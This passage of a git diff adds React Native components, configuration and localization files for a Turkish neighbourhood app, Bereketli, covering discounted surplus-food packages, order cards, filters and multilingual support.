},
dot: {
width: 7,
height: 7,
borderRadius: 3.5,
marginHorizontal: 3,
},
dotActive: {
backgroundColor: colors.primary,
width: 20,
borderRadius: 4,
},
dotInactive: {
backgroundColor: '#D1D5DB',
},
});
@@ -0,0 +1,334 @@
import React, {useState, useRef, useCallback} from 'react';
import {
View,
Text,
TouchableOpacity,
StyleSheet,
Modal,
ScrollView,
StatusBar,
LayoutChangeEvent,
} from 'react-native';
import {useSafeAreaInsets} from 'react-native-safe-area-context';
import {colors} from '../theme';
export type SortOption = 'recommended' | 'distance' | 'price' | 'rating';
export interface FilterState {
sort: SortOption;
hasDelivery: boolean;
lastFew: boolean;
discounted: boolean;
payment: string;
priceRange: [number, number];
}
const DEFAULT_FILTER: FilterState = {
sort: 'recommended',
hasDelivery: false,
lastFew: false,
discounted: false,
payment: 'all',
priceRange: [0, 500],
};
export type FilterSection = 'sort' | 'quickFilters' | 'price';
interface FilterModalProps {
visible: boolean;
onClose: () => void;
onApply: (filter: FilterState) => void;
initialFilter?: FilterState;
initialSection?: FilterSection;
}
const SORT_OPTIONS: {key: SortOption; label: string}[] = [
{key: 'recommended', label: 'Önerilen (Varsayılan)'},
{key: 'distance', label: 'Mesafe'},
{key: 'price', label: 'Fiyat'},
{key: 'rating', label: 'Puan'},
];
const PRICE_RANGES: {label: string; range: [number, number]}[] = [
{label: 'Tümü', range: [0, 500]},
{label: '0 - 50 TL', range: [0, 50]},
{label: '50 - 100 TL', range: [50, 100]},
{label: '100 - 200 TL', range: [100, 200]},
{label: '200+ TL', range: [200, 500]},
];
function RadioButton({selected}: {selected: boolean}) {
return (
<View style={[radioStyles.outer, selected && radioStyles.outerSelected]}>
{selected && <View style={radioStyles.inner} />}
</View>
);
}
const radioStyles = StyleSheet.create({
outer: {
width: 22,
height: 22,
borderRadius: 11,
borderWidth: 2,
borderColor: '#D1D5DB',
justifyContent: 'center',
alignItems: 'center',
},
outerSelected: {
borderColor: colors.primary,
},
inner: {
width: 12,
height: 12,
borderRadius: 6,
backgroundColor: colors.primary,
},
});
function Checkbox({checked}: {checked: boolean}) {
return (
<View style={[checkStyles.box, checked && checkStyles.boxChecked]}>
{checked && <Text style={checkStyles.check}></Text>}
</View>
);
}
const checkStyles = StyleSheet.create({
box: {
width: 22,
height: 22,
borderRadius: 4,
borderWidth: 2,
borderColor: '#D1D5DB',
justifyContent: 'center',
alignItems: 'center',
},
boxChecked: {
backgroundColor: colors.primary,
borderColor: colors.primary,
},
check: {
fontSize: 13,
color: '#FFFFFF',
fontWeight: '700',
},
});
export default function FilterModal({
visible,
onClose,
onApply,
initialFilter,
initialSection,
}: FilterModalProps) {
const [filter, setFilter] = useState<FilterState>(initialFilter || DEFAULT_FILTER);
const insets = useSafeAreaInsets();
const scrollRef = useRef<ScrollView>(null);
const sectionPositions = useRef<Record<string, number>>({});
// Sync filter state when modal opens with new initialFilter
React.useEffect(() => {
if (visible) {
setFilter(initialFilter || DEFAULT_FILTER);
}
}, [visible, initialFilter]);
// Scroll to initialSection when modal opens
React.useEffect(() => {
if (visible && initialSection && scrollRef.current) {
const timeout = setTimeout(() => {
const y = sectionPositions.current[initialSection];
if (y != null) {
scrollRef.current?.scrollTo({y, animated: true});
}
}, 300);
return () => clearTimeout(timeout);
}
}, [visible, initialSection]);
const handleSectionLayout = useCallback((section: string) => (e: LayoutChangeEvent) => {
sectionPositions.current[section] = e.nativeEvent.layout.y;
}, []);
const handleReset = () => {
setFilter(DEFAULT_FILTER);
};
const handleApply = () => {
onApply(filter);
onClose();
};
return (
<Modal visible={visible} animationType="slide">
<View style={[styles.container, {paddingTop: insets.top}]}>
<StatusBar barStyle="dark-content" />
{/* Header */}
<View style={styles.header}>
<TouchableOpacity onPress={onClose} style={styles.closeBtn}>
<Text style={styles.closeIcon}></Text>
</TouchableOpacity>
<Text style={styles.headerTitle}>Filtre</Text>
<TouchableOpacity onPress={handleReset}>
<Text style={styles.resetText}>Sıfırla</Text>
</TouchableOpacity>
</View>
<ScrollView ref={scrollRef} style={styles.content} showsVerticalScrollIndicator={false}>
{/* Sıralama */}
<View onLayout={handleSectionLayout('sort')}>
<Text style={styles.sectionTitle}>Sıralama</Text>
</View>
{SORT_OPTIONS.map(opt => (
<TouchableOpacity
key={opt.key}
style={styles.optionRow}
onPress={() => setFilter(f => ({...f, sort: opt.key}))}>
<Text style={styles.optionLabel}>{opt.label}</Text>
<RadioButton selected={filter.sort === opt.key} />
</TouchableOpacity>
))}
<View style={styles.divider} />
{/* Hızlı filtreler */}
<View onLayout={handleSectionLayout('quickFilters')}>
<Text style={styles.sectionTitle}>Hızlı filtreler</Text>
</View>
<TouchableOpacity
style={styles.optionRow}
onPress={() => setFilter(f => ({...f, hasDelivery: !f.hasDelivery}))}>
<Text style={styles.optionLabel}>Teslimat var</Text>
<Checkbox checked={filter.hasDelivery} />
</TouchableOpacity>
<TouchableOpacity
style={styles.optionRow}
onPress={() => setFilter(f => ({...f, lastFew: !f.lastFew}))}>
<Text style={styles.optionLabel}>Son birkaç kaldı</Text>
<Checkbox checked={filter.lastFew} />
</TouchableOpacity>
<TouchableOpacity
style={styles.optionRow}
onPress={() => setFilter(f => ({...f, discounted: !f.discounted}))}>
<Text style={styles.optionLabel}>İndirimli</Text>
<Checkbox checked={filter.discounted} />
</TouchableOpacity>
<View style={styles.divider} />
{/* Fiyat Aralığı */}
<View onLayout={handleSectionLayout('price')}>
<Text style={styles.sectionTitle}>Ortalama Fiyat Aralığı</Text>
</View>
{PRICE_RANGES.map((opt, idx) => (
<TouchableOpacity
key={idx}
style={styles.optionRow}
onPress={() => setFilter(f => ({...f, priceRange: opt.range}))}>
<Text style={styles.optionLabel}>{opt.label}</Text>
<RadioButton
selected={
filter.priceRange[0] === opt.range[0] &&
filter.priceRange[1] === opt.range[1]
}
/>
</TouchableOpacity>
))}
<View style={{height: 100}} />
</ScrollView>
{/* Apply Button */}
<View style={[styles.footer, {paddingBottom: insets.bottom + 16}]}>
<TouchableOpacity style={styles.applyBtn} onPress={handleApply}>
<Text style={styles.applyText}>Uygula</Text>
</TouchableOpacity>
</View>
</View>
</Modal>
);
}
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#FFFFFF',
},
header: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
paddingHorizontal: 16,
paddingVertical: 14,
borderBottomWidth: 1,
borderBottomColor: '#F3F4F6',
},
closeBtn: {
width: 36,
height: 36,
justifyContent: 'center',
alignItems: 'center',
},
closeIcon: {
fontSize: 18,
color: '#1A1A1A',
fontWeight: '600',
},
headerTitle: {
fontSize: 17,
fontWeight: '700',
color: '#1A1A1A',
},
resetText: {
fontSize: 14,
fontWeight: '600',
color: colors.primary,
},
content: {
flex: 1,
paddingHorizontal: 16,
},
sectionTitle: {
fontSize: 16,
fontWeight: '700',
color: '#1A1A1A',
marginTop: 24,
marginBottom: 12,
},
optionRow: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
paddingVertical: 14,
},
optionLabel: {
fontSize: 15,
color: '#374151',
flex: 1,
},
divider: {
height: 1,
backgroundColor: '#F3F4F6',
marginTop: 8,
},
footer: {
paddingHorizontal: 16,
paddingTop: 12,
borderTopWidth: 1,
borderTopColor: '#F3F4F6',
backgroundColor: '#FFFFFF',
},
applyBtn: {
backgroundColor: colors.primary,
borderRadius: 12,
paddingVertical: 16,
alignItems: 'center',
},
applyText: {
fontSize: 16,
fontWeight: '700',
color: '#FFFFFF',
},
});
@@ -0,0 +1,36 @@
import React, {useEffect, useState} from 'react';
import {View, Text, StyleSheet} from 'react-native';
import NetInfo from '@react-native-community/netinfo';
export default function OfflineBanner() {
const [isOffline, setIsOffline] = useState(false);
useEffect(() => {
const unsubscribe = NetInfo.addEventListener(state => {
setIsOffline(!state.isConnected);
});
return () => unsubscribe();
}, []);
if (!isOffline) return null;
return (
<View style={styles.banner}>
<Text style={styles.text}>📡 İnternet bağlantısı yok</Text>
</View>
);
}
const styles = StyleSheet.create({
banner: {
backgroundColor: '#EF4444',
paddingVertical: 8,
paddingHorizontal: 16,
alignItems: 'center',
},
text: {
fontSize: 13,
fontWeight: '600',
color: '#FFFFFF',
},
});
@@ -0,0 +1,117 @@
import React from 'react';
import {TouchableOpacity, View, Text, StyleSheet} from 'react-native';
import {colors, spacing, typography, borderRadius} from '../theme';
import type {Order} from '../types/models';
interface OrderCardProps {
order: Order;
storeName?: string;
onPress: () => void;
}
const STATUS_LABELS: Record<Order['status'], string> = {
pending: 'Bekliyor',
paid: 'Odendi',
picked_up: 'Teslim Alindi',
cancelled: 'Iptal Edildi',
refunded: 'Iade Edildi',
};
const STATUS_COLORS: Record<Order['status'], string> = {
pending: colors.warning,
paid: colors.info,
picked_up: colors.success,
cancelled: colors.error,
refunded: colors.textSecondary,
};
function formatDate(dateStr: string): string {
const d = new Date(dateStr);
const day = d.getDate().toString().padStart(2, '0');
const month = (d.getMonth() + 1).toString().padStart(2, '0');
const hours = d.getHours().toString().padStart(2, '0');
const mins = d.getMinutes().toString().padStart(2, '0');
return `${day}.${month} ${hours}:${mins}`;
}
function shortId(id: string): string {
return id.slice(0, 8).toUpperCase();
}
export default function OrderCard({order, storeName, onPress}: OrderCardProps) {
const statusColor = STATUS_COLORS[order.status];
const statusLabel = STATUS_LABELS[order.status];
return (
<TouchableOpacity style={styles.card} onPress={onPress} activeOpacity={0.7}>
<View style={styles.header}>
<Text style={styles.orderId}>#{shortId(order.id)}</Text>
<View style={[styles.statusBadge, {backgroundColor: statusColor}]}>
<Text style={styles.statusText}>{statusLabel}</Text>
</View>
</View>
{storeName ? (
<Text style={styles.storeName}>{storeName}</Text>
) : null}
<View style={styles.footer}>
<Text style={styles.price}>{order.total_price.toFixed(0)} TL</Text>
<Text style={styles.date}>{formatDate(order.created_at)}</Text>
</View>
</TouchableOpacity>
);
}
const styles = StyleSheet.create({
card: {
backgroundColor: colors.backgroundCard,
borderRadius: borderRadius.lg,
padding: spacing.lg,
marginBottom: spacing.md,
shadowColor: '#000',
shadowOffset: {width: 0, height: 2},
shadowOpacity: 0.08,
shadowRadius: 4,
elevation: 3,
},
header: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
marginBottom: spacing.sm,
},
orderId: {
...typography.captionBold,
color: colors.textSecondary,
},
statusBadge: {
borderRadius: 6,
paddingHorizontal: spacing.sm,
paddingVertical: 2,
},
statusText: {
...typography.small,
color: colors.textWhite,
fontWeight: '600',
},
storeName: {
...typography.bodyBold,
color: colors.textPrimary,
marginBottom: spacing.sm,
},
footer: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
},
price: {
...typography.price,
color: colors.primary,
fontSize: 18,
},
date: {
...typography.small,
color: colors.textSecondary,
},
});
@@ -0,0 +1,356 @@
import React from 'react';
import {TouchableOpacity, View, Text, Image, StyleSheet} from 'react-native';
import {colors} from '../theme';
import type {PackageNearby, StoreType} from '../types/models';
interface PackageCardProps {
item: PackageNearby;
onPress: () => void;
}
const BASE_URL = 'https://bereketli.pezkiwi.app';
// Real category images from production
const CATEGORY_IMAGES: Record<StoreType, string> = {
bakery: `${BASE_URL}/package-bakery.png`,
restaurant: `${BASE_URL}/package-restaurant.png`,
pastry: `${BASE_URL}/package-pastry.png`,
market: `${BASE_URL}/package-market.png`,
catering: `${BASE_URL}/package-restaurant.png`,
other: `${BASE_URL}/bereketli_paket.png`,
};
// Smart image selection based on package title keywords
function getPackageImage(title: string, category: StoreType, storePhotos: string[]): string {
if (storePhotos && storePhotos.length > 0) {
return storePhotos[0].startsWith('http') ? storePhotos[0] : `${BASE_URL}${storePhotos[0]}`;
}
const lower = title.toLowerCase();
if (lower.includes('et ') || lower.includes('kıyma') || lower.includes('sucuk') || lower.includes('kasap')) return `${BASE_URL}/pkg-meat.jpg`;
if (lower.includes('mangal') || lower.includes('barbekü') || lower.includes('izgara')) return `${BASE_URL}/pkg-mangal.jpg`;
if (lower.includes('sebze') || lower.includes('manav')) return `${BASE_URL}/pkg-vegetable.jpg`;
if (lower.includes('meyve')) return `${BASE_URL}/pkg-fruit.jpg`;
return CATEGORY_IMAGES[category] || CATEGORY_IMAGES.other;
}
const CATEGORY_LABELS: Record<StoreType, string> = {
bakery: 'Fırın',
restaurant: 'Restoran',
pastry: 'Pastane',
market: 'Market',
catering: 'Catering',
other: 'Diğer',
};
function formatPrice(price: number): string {
return `${price.toFixed(0)} TL`;
}
function discountPercent(price: number, original: number): number {
if (original <= 0) return 0;
return Math.round(((original - price) / original) * 100);
}
function formatDistance(m: number): string {
if (m < 1000) return `${Math.round(m)}m`;
return `${(m / 1000).toFixed(1)}km`;
}
function formatPickupTime(start: string, end: string): string {
try {
const s = new Date(start);
const e = new Date(end);
const sh = s.getHours().toString().padStart(2, '0');
const sm = s.getMinutes().toString().padStart(2, '0');
const eh = e.getHours().toString().padStart(2, '0');
const em = e.getMinutes().toString().padStart(2, '0');
return `${sh}:${sm} - ${eh}:${em}`;
} catch {
return '';
}
}
export default function PackageCard({item, onPress}: PackageCardProps) {
const pct = discountPercent(item.price, item.original_value);
const catLabel = CATEGORY_LABELS[item.category] || 'Diğer';
const pickupTime = formatPickupTime(item.pickup_start, item.pickup_end);
const photoUri = getPackageImage(item.title, item.category, item.store_photos);
return (
<TouchableOpacity style={styles.card} onPress={onPress} activeOpacity={0.9}>
{/* ── Image Area (Yemeksepeti style) ── */}
<View style={styles.imageContainer}>
<Image
source={{uri: photoUri}}
style={styles.image}
resizeMode="cover"
/>
{/* Heart / Favorite — top right (like Yemeksepeti) */}
<TouchableOpacity style={styles.heartBtn} activeOpacity={0.7}>
<Text style={styles.heartIcon}></Text>
</TouchableOpacity>
{/* "Öne Çıkan" style badge — bottom right */}
{item.remaining <= 3 && (
<View style={styles.featuredBadge}>
<Text style={styles.featuredText}>Son {item.remaining}!</Text>
</View>
)}
{/* Discount badge — top left */}
{pct > 0 && (
<View style={styles.discountBadge}>
<Text style={styles.discountText}>%{pct}</Text>
</View>
)}
</View>
{/* ── Info Area (Yemeksepeti style) ── */}
<View style={styles.info}>
{/* Store name + Rating — same row */}
<View style={styles.nameRow}>
<Text style={styles.storeName} numberOfLines={1}>{item.store_name}</Text>
{item.store_rating > 0 && (
<View style={styles.ratingContainer}>
<Text style={styles.ratingStar}></Text>
<Text style={styles.ratingValue}>{item.store_rating.toFixed(1)}</Text>
</View>
)}
</View>
{/* Title */}
<Text style={styles.title} numberOfLines={1}>{item.title}</Text>
{/* Meta line (YS style: "446m · 19:00-20:30 · Fırın") */}
<Text style={styles.metaLine} numberOfLines={1}>
{[
item.distance_m > 0 ? formatDistance(item.distance_m) : null,
pickupTime || null,
catLabel,
]
.filter(Boolean)
.join(' · ')}
</Text>
{/* Delivery badge (YS style "🛵 Ücretsiz" or "Gel Al") */}
<View style={styles.deliveryRow}>
<View style={[styles.deliveryBadge, {backgroundColor: item.delivery_available ? '#EFF6FF' : '#F0FDF4'}]}>
<Text style={[styles.deliveryBadgeText, {color: item.delivery_available ? '#2563EB' : '#16A34A'}]}>
{item.delivery_available ? '🛵 Teslimat' : '🏪 Gel Al'}
</Text>
</View>
{item.remaining <= 5 && item.remaining > 0 && (
<Text style={styles.urgencyText}>Son {item.remaining} paket!</Text>
)}
</View>
{/* Price row */}
<View style={styles.priceRow}>
<Text style={styles.price}>{formatPrice(item.price)}</Text>
<Text style={styles.originalPrice}>{formatPrice(item.original_value)}</Text>
{item.remaining > 3 && (
<Text style={styles.remainingText}>{item.remaining} kaldı</Text>
)}
</View>
{/* Green promo strip (like Yemeksepeti "350₺'ye 250₺ indirim") */}
{pct > 0 && (
<View style={styles.promoStrip}>
<Text style={styles.promoText}>
🏷 {formatPrice(item.original_value)} değerinde, sadece {formatPrice(item.price)}!
</Text>
</View>
)}
</View>
</TouchableOpacity>
);
}
const styles = StyleSheet.create({
card: {
backgroundColor: '#FFFFFF',
borderRadius: 12,
marginBottom: 16,
overflow: 'hidden',
shadowColor: '#000',
shadowOffset: {width: 0, height: 1},
shadowOpacity: 0.05,
shadowRadius: 4,
elevation: 2,
},
// ── Image ──
imageContainer: {
height: 180,
position: 'relative',
backgroundColor: '#F3F4F6',
},
image: {
width: '100%',
height: '100%',
},
// placeholder styles removed — always using real images now
// Heart button — top right (Yemeksepeti style)
heartBtn: {
position: 'absolute',
top: 10,
right: 10,
width: 34,
height: 34,
borderRadius: 17,
backgroundColor: 'rgba(255,255,255,0.9)',
justifyContent: 'center',
alignItems: 'center',
shadowColor: '#000',
shadowOffset: {width: 0, height: 1},
shadowOpacity: 0.1,
shadowRadius: 2,
elevation: 2,
},
heartIcon: {
fontSize: 18,
color: '#9CA3AF',
},
// Featured badge — bottom right ("Öne Çıkan" style)
featuredBadge: {
position: 'absolute',
bottom: 10,
right: 10,
backgroundColor: 'rgba(0,0,0,0.7)',
borderRadius: 6,
paddingHorizontal: 10,
paddingVertical: 4,
},
featuredText: {
fontSize: 11,
fontWeight: '700',
color: '#FFFFFF',
},
// Discount badge — top left
discountBadge: {
position: 'absolute',
top: 10,
left: 10,
backgroundColor: '#EF4444',
borderRadius: 6,
paddingHorizontal: 10,
paddingVertical: 4,
},
discountText: {
fontSize: 13,
fontWeight: '800',
color: '#FFFFFF',
},
// ── Info Section ──
info: {
padding: 12,
},
// Store name + rating row
nameRow: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
marginBottom: 2,
},
storeName: {
fontSize: 16,
fontWeight: '700',
color: '#1A1A1A',
flex: 1,
marginRight: 8,
},
ratingContainer: {
flexDirection: 'row',
alignItems: 'center',
gap: 3,
},
ratingStar: {
fontSize: 13,
color: '#F59E0B',
},
ratingValue: {
fontSize: 13,
fontWeight: '700',
color: '#1A1A1A',
},
// Title
title: {
fontSize: 13,
fontWeight: '400',
color: '#6B7280',
marginBottom: 4,
},
// Meta line ("25-50 dk · ₺₺ · Tost & Sandviç" style)
metaLine: {
fontSize: 12,
color: '#9CA3AF',
marginBottom: 8,
},
// Delivery
deliveryRow: {
flexDirection: 'row',
alignItems: 'center',
gap: 8,
marginBottom: 10,
},
deliveryBadge: {
borderRadius: 6,
paddingHorizontal: 8,
paddingVertical: 3,
},
deliveryBadgeText: {
fontSize: 11,
fontWeight: '600',
},
urgencyText: {
fontSize: 11,
fontWeight: '600',
color: '#EF4444',
},
// Price row
priceRow: {
flexDirection: 'row',
alignItems: 'center',
gap: 8,
},
price: {
fontSize: 18,
fontWeight: '800',
color: colors.primary,
},
originalPrice: {
fontSize: 13,
color: '#9CA3AF',
textDecorationLine: 'line-through',
},
remainingText: {
fontSize: 11,
color: '#9CA3AF',
marginLeft: 'auto',
},
// Green promo strip (Yemeksepeti style)
promoStrip: {
backgroundColor: '#D1FAE5',
borderRadius: 6,
paddingHorizontal: 10,
paddingVertical: 6,
marginTop: 8,
},
promoText: {
fontSize: 12,
fontWeight: '600',
color: '#059669',
},
});
@@ -0,0 +1,30 @@
import React from 'react';
import {View, Text, StyleSheet} from 'react-native';
import {colors, spacing, typography} from '../theme';
interface SectionHeaderProps {
title: string;
}
export default function SectionHeader({title}: SectionHeaderProps) {
return (
<View style={styles.container}>
<Text style={styles.title}>{title.toUpperCase()}</Text>
</View>
);
}
const styles = StyleSheet.create({
container: {
paddingHorizontal: spacing.lg,
paddingTop: spacing.xl,
paddingBottom: spacing.sm,
backgroundColor: colors.background,
},
title: {
...typography.small,
color: colors.textSecondary,
fontWeight: '600',
letterSpacing: 0.5,
},
});
@@ -0,0 +1,95 @@
import React from 'react';
import {TouchableOpacity, View, Text, StyleSheet} from 'react-native';
import {colors, spacing, typography} from '../theme';
interface SettingItemProps {
icon: string;
title: string;
subtitle?: string;
onPress?: () => void;
showArrow?: boolean;
value?: string;
destructive?: boolean;
}
export default function SettingItem({
icon,
title,
subtitle,
onPress,
showArrow = true,
value,
destructive = false,
}: SettingItemProps) {
return (
<TouchableOpacity
style={styles.container}
onPress={onPress}
disabled={!onPress}
activeOpacity={onPress ? 0.7 : 1}>
<Text style={styles.icon}>{icon}</Text>
<View style={styles.content}>
<Text
style={[
styles.title,
destructive && styles.titleDestructive,
]}>
{title}
</Text>
{subtitle ? (
<Text style={styles.subtitle} numberOfLines={1}>
{subtitle}
</Text>
) : null}
</View>
{value ? (
<Text style={styles.value}>{value}</Text>
) : null}
{showArrow && onPress ? (
<Text style={styles.arrow}>{'\u203A'}</Text>
) : null}
</TouchableOpacity>
);
}
const styles = StyleSheet.create({
container: {
flexDirection: 'row',
alignItems: 'center',
backgroundColor: colors.backgroundCard,
paddingHorizontal: spacing.lg,
paddingVertical: spacing.lg,
borderBottomWidth: StyleSheet.hairlineWidth,
borderBottomColor: colors.borderLight,
},
icon: {
fontSize: 20,
marginRight: spacing.md,
width: 28,
textAlign: 'center',
},
content: {
flex: 1,
},
title: {
...typography.body,
color: colors.textPrimary,
},
titleDestructive: {
color: colors.error,
},
subtitle: {
...typography.small,
color: colors.textSecondary,
marginTop: 2,
},
value: {
...typography.caption,
color: colors.textSecondary,
marginRight: spacing.sm,
},
arrow: {
fontSize: 22,
color: colors.textLight,
},
});
@@ -0,0 +1,73 @@
import React from 'react';
import {View, Text, Switch, StyleSheet, ActivityIndicator} from 'react-native';
import {colors, spacing, typography} from '../theme';
interface SettingToggleProps {
icon: string;
title: string;
subtitle?: string;
value: boolean;
onToggle: (value: boolean) => void;
loading?: boolean;
}
export default function SettingToggle({
icon,
title,
subtitle,
value,
onToggle,
loading = false,
}: SettingToggleProps) {
return (
<View style={styles.container}>
<Text style={styles.icon}>{icon}</Text>
<View style={styles.content}>
<Text style={styles.title}>{title}</Text>
{subtitle ? (
<Text style={styles.subtitle}>{subtitle}</Text>
) : null}
</View>
{loading ? (
<ActivityIndicator size="small" color={colors.primary} />
) : (
<Switch
value={value}
onValueChange={onToggle}
trackColor={{false: colors.border, true: colors.primaryLight}}
thumbColor={value ? colors.primary : colors.textLight}
/>
)}
</View>
);
}
const styles = StyleSheet.create({
container: {
flexDirection: 'row',
alignItems: 'center',
backgroundColor: colors.backgroundCard,
paddingHorizontal: spacing.lg,
paddingVertical: spacing.lg,
borderBottomWidth: StyleSheet.hairlineWidth,
borderBottomColor: colors.borderLight,
},
icon: {
fontSize: 20,
marginRight: spacing.md,
width: 28,
textAlign: 'center',
},
content: {
flex: 1,
},
title: {
...typography.body,
color: colors.textPrimary,
},
subtitle: {
...typography.small,
color: colors.textSecondary,
marginTop: 2,
},
});
+17
View File
@@ -0,0 +1,17 @@
/**
* Bereketli Mini App Configuration
*/
export const API_BASE_URL = 'https://bereketli.pezkiwi.app/v1';
// Google Maps API key (shared with main app)
export const GOOGLE_MAPS_KEY = process.env.EXPO_PUBLIC_GOOGLE_MAPS_KEY || '';
export const GOOGLE_WEB_CLIENT_ID = process.env.EXPO_PUBLIC_GOOGLE_WEB_CLIENT_ID || '';
// Feature flags
export const FEATURES = {
AI_CHAT: true,
LOYALTY: true,
REFERRAL: true,
NOTIFICATIONS: false, // Disabled until expo-notifications integration (Faz 4)
};
@@ -0,0 +1,94 @@
import i18n from 'i18next';
import {initReactI18next} from 'react-i18next';
import {I18nManager} from 'react-native';
import {getLocales} from 'expo-localization';
import AsyncStorage from '@react-native-async-storage/async-storage';
import tr from './locales/tr.json';
import en from './locales/en.json';
import ar from './locales/ar.json';
import ckb from './locales/ckb.json';
import ku from './locales/ku.json';
import fa from './locales/fa.json';
export const LANGUAGES = [
{code: 'tr', label: 'Türkçe', rtl: false},
{code: 'en', label: 'English', rtl: false},
{code: 'ar', label: 'العربية', rtl: true},
{code: 'ckb', label: 'سۆرانی', rtl: true},
{code: 'ku', label: 'Kurmancî', rtl: false},
{code: 'fa', label: 'فارسی', rtl: true},
] as const;
export type LanguageCode = (typeof LANGUAGES)[number]['code'];
const SUPPORTED_CODES: readonly string[] = LANGUAGES.map(l => l.code);
const RTL_LANGUAGES: readonly string[] = LANGUAGES.filter(l => l.rtl).map(l => l.code);
const LANGUAGE_KEY = '@bereketli_language';
function getDeviceLanguage(): string {
try {
const locales = getLocales();
if (locales.length > 0) {
const lang = (locales[0].languageCode || 'en').toLowerCase();
if (SUPPORTED_CODES.includes(lang)) return lang;
// Check script tag for Sorani (ckb uses Arab script)
const tag = locales[0].languageTag.toLowerCase();
if (tag.includes('ckb') || tag.includes('sorani')) return 'ckb';
if (lang === 'ku' || tag.includes('kurmanj')) return 'ku';
}
} catch {
// react-native-localize not available
}
return 'tr';
}
i18n.use(initReactI18next).init({
resources: {
tr: {translation: tr},
en: {translation: en},
ar: {translation: ar},
ckb: {translation: ckb},
ku: {translation: ku},
fa: {translation: fa},
},
lng: getDeviceLanguage(),
fallbackLng: 'tr',
interpolation: {
escapeValue: false,
},
react: {
useSuspense: false,
},
});
/** Load persisted language from AsyncStorage and apply it. Call once on app start. */
export async function loadSavedLanguage(): Promise<void> {
try {
const saved = await AsyncStorage.getItem(LANGUAGE_KEY);
if (saved && SUPPORTED_CODES.includes(saved)) {
const isRTL = RTL_LANGUAGES.includes(saved);
I18nManager.forceRTL(isRTL);
I18nManager.allowRTL(isRTL);
await i18n.changeLanguage(saved);
}
} catch {
// AsyncStorage read failed — keep device language
}
}
export async function changeLanguage(code: LanguageCode): Promise<void> {
const isRTL = RTL_LANGUAGES.includes(code);
I18nManager.forceRTL(isRTL);
I18nManager.allowRTL(isRTL);
await i18n.changeLanguage(code);
try {
await AsyncStorage.setItem(LANGUAGE_KEY, code);
} catch {
// AsyncStorage write failed — language still changed in memory
}
}
export default i18n;
@@ -0,0 +1,467 @@
{
"common": {
"loading": "جاري التحميل...",
"error": "خطأ",
"retry": "حاول مجددا",
"cancel": "إلغاء",
"ok": "حسنا",
"save": "حفظ",
"delete": "حذف",
"back": "رجوع",
"next": "التالي",
"close": "إغلاق",
"search": "بحث",
"noResults": "لم يتم العثور على نتائج",
"pullToRefresh": "اسحب للتحديث",
"or": "أو",
"confirm": "تأكيد",
"all": "الكل",
"distance": "المسافة",
"goBack": "العودة",
"saving": "جاري الحفظ...",
"info": "معلومات"
},
"tabs": {
"paketler": "الطرود",
"komsu": "الجيران",
"esnaf": "المتاجر",
"hesabim": "حسابي"
},
"auth": {
"subtitle": "تطبيق الحي",
"emailOrPhone": "البريد الإلكتروني أو الهاتف",
"emailPlaceholder": "example@email.com أو 05xx...",
"password": "كلمة المرور",
"passwordPlaceholder": "كلمة المرور",
"loggingIn": "جاري تسجيل الدخول...",
"login": "تسجيل الدخول",
"googleLogin": "تسجيل الدخول عبر جوجل",
"noAccount": "ليس لديك حساب؟",
"registerLink": "سجل الآن",
"loginErrorTitle": "خطأ",
"loginErrorRequired": "البريد الإلكتروني/الهاتف وكلمة المرور مطلوبان",
"googleTokenError": "تعذر الحصول على رمز تسجيل الدخول عبر جوجل",
"googlePlayError": "خدمات جوجل بلاي غير متوفرة",
"googleLoginFailed": "فشل تسجيل الدخول عبر جوجل",
"registerTitle": "إنشاء حساب",
"registerSubtitle": "مرحبا بك في بركتلي",
"fullName": "الاسم الكامل",
"fullNamePlaceholder": "اسمك الكامل",
"email": "البريد الإلكتروني",
"emailOnlyPlaceholder": "example@email.com",
"phoneOptional": "الهاتف (اختياري)",
"phonePlaceholder": "05xx xxx xx xx",
"passwordLabel": "كلمة المرور",
"passwordMinPlaceholder": "8 أحرف على الأقل",
"confirmPassword": "تأكيد كلمة المرور",
"confirmPasswordPlaceholder": "أعد إدخال كلمة المرور",
"referralCodeOptional": "رمز الدعوة (اختياري)",
"referralCodePlaceholder": "أدخل رمز الدعوة إن وجد",
"registering": "جاري التسجيل...",
"register": "إنشاء حساب",
"haveAccount": "لديك حساب بالفعل؟",
"loginLink": "تسجيل الدخول",
"registerErrorRequired": "الاسم والبريد الإلكتروني وكلمة المرور مطلوبة",
"registerErrorPasswordMin": "كلمة المرور يجب أن تكون 8 أحرف على الأقل",
"registerErrorPasswordMatch": "كلمتا المرور غير متطابقتين"
},
"splash": {
"subtitle": "تطبيق الحي",
"tagline": "امنع هدر الطعام، شارك البركة"
},
"onboarding": {
"slide1Title": "امنع هدر الطعام",
"slide1Desc": "اشترِ المنتجات المتبقية من المتاجر آخر اليوم بأسعار مخفضة. وفّر المال وافعل الخير.",
"slide2Title": "اكتشف حيّك",
"slide2Desc": "اعثر على المخابز والبقالات والجزارين والحلاقين القريبين. اجمع نقاط الولاء واربح جوائز.",
"slide3Title": "ابدأ الآن",
"slide3Desc": "شارك موقعك واكتشف الطرود المفاجئة والمتاجر القريبة!",
"locationLabel": "الموقع",
"locationDesc": "عرض الطرود القريبة",
"notificationLabel": "الإشعارات",
"notificationDesc": "ابقَ على اطلاع بالعروض",
"skip": "تخطي",
"next": "التالي ←",
"start": "ابدأ",
"micLabel": "الميكروفون",
"micDesc": "للتحدث مع المساعد الذكي",
"cameraLabel": "الكاميرا",
"cameraDesc": "لرموز QR والصور"
},
"locationPicker": {
"title": "اختر الموقع",
"useMyLocation": "استخدم موقعي",
"confirm": "تأكيد",
"permissionRequired": "إذن الموقع مطلوب",
"permissionMessage": "يرجى تفعيل إذن الموقع من الإعدادات.",
"gpsError": "تعذر استقبال إشارة GPS",
"gpsErrorMessage": "حاول مجددا في مكان مفتوح أو اختر نقطة على الخريطة."
},
"packages": {
"deliveryAddress": "عنوان التوصيل",
"selectLocation": "اختر الموقع",
"searchPlaceholder": "ابحث عن طرد أو متجر...",
"sortLabel": "ترتيب",
"sortDistance": "المسافة",
"sortPrice": "السعر",
"sortRating": "التقييم",
"delivery": "توصيل",
"discounted": "مخفّض",
"lastFew": "آخر القطع",
"priceRange": "نطاق السعر",
"referralBannerTitle": "ادعُ واكسب",
"referralBannerDesc": "ادعُ صديقك واكسب نقاط!",
"categoryAll": "الكل",
